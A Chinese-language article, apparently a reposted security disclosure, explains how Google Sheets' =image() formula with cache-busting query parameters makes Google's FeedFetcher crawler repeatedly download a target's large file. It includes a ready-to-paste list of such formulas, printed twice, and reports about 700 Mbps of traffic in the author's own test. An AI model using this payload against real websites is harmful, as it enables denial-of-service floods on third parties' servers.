只需要使用一台笔记本，打开几个web标签页，仅仅拷贝一些指向10MB文件的链接，Google去抓取同一文件的流量就超过了700Mbps。

Google的FeedFetcher爬虫会将spreadsheet的=image(“link”)中的任意链接缓存。

如果我们将=image(“http://example.com/image.jpg”)输入到任意一个Google spreadsheet中，Google就会“派出”FeedFetcher爬虫去抓取这个图片并保存到缓存中以将其显示出来。

但是，我们可以为文件名附加上随机参数，使FeedFetcher多次抓取同一文件。也就是说，如果一个网站有一个10MB的文件，要是将以下列表输入到Google spreadsheet中，那么Google的爬虫就会抓取该文件1000次。

 

=image("http://targetname/file.pdf?r=0") =image("http://targetname/file.pdf?r=1") =image("http://targetname/file.pdf?r=2") =image("http://targetname/file.pdf?r=3") ... =image("http://targetname/file.pdf?r=1000")

1 2 3 4 5 6

=image("http://targetname/file.pdf?r=0") =image("http://targetname/file.pdf?r=1") =image("http://targetname/file.pdf?r=2") =image("http://targetname/file.pdf?r=3") ... =image("http://targetname/file.pdf?r=1000")

 

附加上随机参数后，每个链接都被看作是不同的链接，因此Google爬虫会去抓取多次，使网站产生大量出站流量。所以任何人只需使用浏览器并打开一些标签，就可以向web服务器发动巨大流量HTTP GET洪水攻击。

但是这种攻击使攻击者根本不需要有多大的带宽，只需要将“图像”地址输入进spreadsheet，Google就会从服务器上抓取这个10MB的数据，但是因为地址指向一个PDF文件（非图像文件），攻击者从Google得到的反馈为N/A。很明显这种类型的流量可以被放大多倍，引起的后果很可能是灾难性的。

只需要使用一台笔记本，打开几个web标签页，仅仅拷贝一些指向10MB文件的链接，Google去抓取同一文件的流量就超过了700Mbps。而这种600-700Mbps的抓取流量大概只持续了30-45分钟，我就把服务器关闭了。如果没算错的话，45分钟内大概走了240GB的流量。